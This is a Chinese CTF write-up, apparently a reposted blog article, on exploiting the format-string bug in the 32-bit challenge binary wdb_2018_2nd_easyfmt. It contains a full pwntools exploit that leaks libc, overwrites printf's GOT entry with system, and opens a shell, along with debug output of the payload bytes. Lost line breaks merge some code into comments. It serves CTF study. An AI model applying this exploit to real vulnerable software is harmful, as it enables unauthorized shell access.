从零开始做题:逆向wdb_2018_2nd_easyfmt

2024-01-14 22:20

本文主要是介绍从零开始做题:逆向wdb_2018_2nd_easyfmt,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.题目信息

2.解题分析

格式化字符串漏洞

如何确定偏移

Do you know repeater?

输入AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

输出AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.

#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6

最开始输入的AAAA,在offset=6的位置输出了,可以推出栈上其他位置的偏移。

[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'
    Arch:     i386-32-little           #32位程序
    RELRO:    Partial RELRO   #got表可写
    Stack:    No canary found    #栈可溢出
    NX:       NX enabled            #shellcode不可以
    PIE:      No PIE (0x8048000) #代码段无随机化,地址都可以知道

[x] Starting local process './wdb_2018_2nd_easyfmt'
[+] Starting local process './wdb_2018_2nd_easyfmt': pid 253
[*] '/ctf/work/3/wdb_2018_2nd_easyfmt'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)
[DEBUG] Sent 0x5 bytes:'%3$p\n'
[DEBUG] Received 0x22 bytes:'Do you know repeater?\n''0xf7f15c08\n''\n'
[*] leak: 0xf7f15c08
[*] libc: 0xf7d36000
[DEBUG] Sent 0x3b bytes:00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│00000010  25 34 38 63  25 36 24 68  68 6e 25 32  30 31 63 25  │%48c│%6$h│hn%2│01c%│00000020  37 24 68 68  6e 25 32 30  36 63 25 38  24 68 68 6e  │7$hh│n%20│6c%8│$hhn│00000030  25 33 32 63  25 39 24 68  68 6e 0a                  │%32c│%9$h│hn·│0000003b
[*] Switching to interactive mode[DEBUG] Received 0x1f9 bytes:00000000  14 a0 04 08  15 a0 04 08  16 a0 04 08  17 a0 04 08  │····│····│····│····│00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000030  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 08  │    │    │    │   ·│00000040  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*00000100  20 20 20 20  20 20 20 20  64 20 20 20  20 20 20 20  │    │    │d   │    │00000110  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │*000001d0  20 20 20 20  20 20 08 20  20 20 20 20  20 20 20 20  │    │  · │    │    │000001e0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  │    │    │    │    │000001f0  20 20 20 20  20 20 00 0a  0a                        │    │  ··│·│000001f9
����                                                                                                                                                                                                                                                       d                                                                                                                                                                                                                                            

3.解题脚本及注解

使用powdocker1604环境https://blog.csdn.net/weixin_44626085/article/details/135561582

标红的地方替换下面相应的值 

#coding=utf-8
from pwn import *
#设置gdp调试环境tmux
context.terminal=["tmux","sp","-h"]#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={"LD_PRELOAD":"/glibc/2.23/32/lib/libc.so.6"})
#p = process(["/glibc/2.23/32/lib/ld-2.23.so", "./test"], env={'LD_PRELOAD':'./libc-2.23.so'})
#p= process('./wdb_2018_2nd_easyfmt')
#本地调试./wdb_2018_2nd_easyfmt,使用远程环境的提供的libc-2.23.so
p = process('./wdb_2018_2nd_easyfmt', env={'LD_PRELOAD':'./libc-2.23.so'})
#远程连接环境
#p = remote('node5.buuoj.cn',25976)
#gdb.attach(p)
#gdb动态调试elf = ELF('./wdb_2018_2nd_easyfmt')
#使用elf函数
context.log_level='debug'offset = 6 
p.sendline('%3$p') 
#Do you know repeater?
#AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
#AAAA.0xffffd658.0x64.0xf7ffdc08.0xf7ffcd00.0xffffd77c.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.
#通过格式化输出数据,0xf7打头的是第3个,打印第3个0xf7ffdc08,AAAA格式和0x41414141一致,offset为6p.recvuntil('0x')
leak = int(p.recvuntil('\n', drop=True), 16)
#接收到f7e306bb,转换成整数log.info('leak: '+hex(leak))
#输出leak#pause()
libc = leak-0xf7f60c08+0xf7d81000
#算出libc地址log.info('libc: '+hex(libc))
#输出libc地址system =libc+0x3a940
#输出system地址pl = fmtstr_payload(offset,{elf.got['printf'] : system})
#构造playload,将打印地址改成system地址p.sendline(pl)p.interactive()#pause()p.sendline('/bin/sh')

最后一个坑是换成远程的时候发现不成功,然后换了一台电脑后就成功了,不成功的是amd芯片的

,成功的intel芯片的。这个坑浪费了我大量的时间。

这篇关于从零开始做题:逆向wdb_2018_2nd_easyfmt的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/606724

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

Android逆向(反调,脱壳,过ssl证书脚本)

文章目录 总结 基础Android基础工具 定位关键代码页面activity定位数据包参数定位堆栈追踪 编写反调脱壳好用的脚本过ssl证书校验抓包反调的脚本打印堆栈bilibili反调的脚本 总结 暑假做了两个月的Android逆向,记录一下自己学到的东西。对于app渗透有了一些思路。 这两个月主要做的是代码分析,对于分析完后的持久化等没有学习。主要是如何反编译源码,如何找到

BIRT--商业智能和报表工具,从零开始

1.简介 BIRT (Business Intelligence and Reporting Tools), 是为 Web 应用程序开发的基于 Eclipse 的开源报表系统,特别之处在于它是以 Java 和 JavaEE 为基础。BIRT 有两个主要组件:基于 Eclipse 的报表设计器,以及部署到应用服务器上的运行时组件。 2.下载 官网下载网址:http://download.ec

转:android ro.debuggable属性调试修改(mprop逆向)

android ro属性调试修改(mprop逆向)      大家都知道如果需要调试android 的程序,以下两个条件满足一个就行。第一是apk的配置文件内的AndroidManifest.xml的 android:debuggable=”true”,第二就是/default.prop中ro.debuggable=1。两种方式第一种通常是解包添加属性再打包,随着加壳软件以及apk校验等,容易出

某里227逆向分析

声明: 该文章为学习使用,严禁用于商业用途和非法用途,违者后果自负,由此产生的一切后果均与作者无关。 本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作者均不负责,若有侵权,请联系作者立即删除! 前言 这次会简单的讲解阿里227版本滑块参数n的逆向分析流程以及简单的补环境,如果有疑问可以在评论区交流讨论,我看到会及时回复的,另外,有需要可联系我。 一

2018秋招C/C++面试题总结

博主从8月中旬开始大大小小面试了十几家公司,至今也许是告一段落吧,希望后面会有好结果,因此总结记录一些C/C++方向常见的问题。和大家一起学习! 参考了互联网的各种资源,自己尝试归类整理,谢谢~ 一、C和C++的区别是什么? C是面向过程的语言,C++是在C语言的基础上开发的一种面向对象编程语言,应用广泛。 C中函数不能进行重载,C++函数可以重载 C++在C的基础上增添类,C是一个结构

大厂算法例题解之网易2018秋招笔试真题 (未完)

1、字符串碎片 【题目描述】一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,“aaabbaaac” 是由下面碎片组成的:‘aaa’,‘bb’,‘c’。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的 平均长度是多少。 输入描述: 输入包括一个字符串 s,字符串 s 的长度 length(1 ≤ length ≤ 50),s 只含小写字母(‘a’-‘z’) 输出描述

从零开始学习JVM(七)- StringTable字符串常量池

1 概述 String应该是Java使用最多的类吧,很少有Java程序没有使用到String的。在Java中创建对象是一件挺耗费性能的事,而且我们又经常使用相同的String对象,那么创建这些相同的对象不是白白浪费性能吗。所以就有了StringTable这一特殊的存在,StringTable叫做字符串常量池,用于存放字符串常量,这样当我们使用相同的字符串对象时,就可以直接从StringTable

从零开始构建大语言模型并进行微调:全面指南

要从0开始搭建并训练一个大语言模型(LLM),涉及到多个步骤和资源,包括理论理解、工具使用、数据准备、模型训练与微调。以下是一个从基础到应用的指南,帮助你理解并逐步实现这一目标。 1. 理解基础概念 在开始搭建大语言模型之前,了解以下基本概念至关重要: 生成式AI:通过大语言模型生成自然语言文本,例如GPT、BERT等。机器学习:通过数据训练模型,使其具备从数据中学习规律的能力。深度学习:机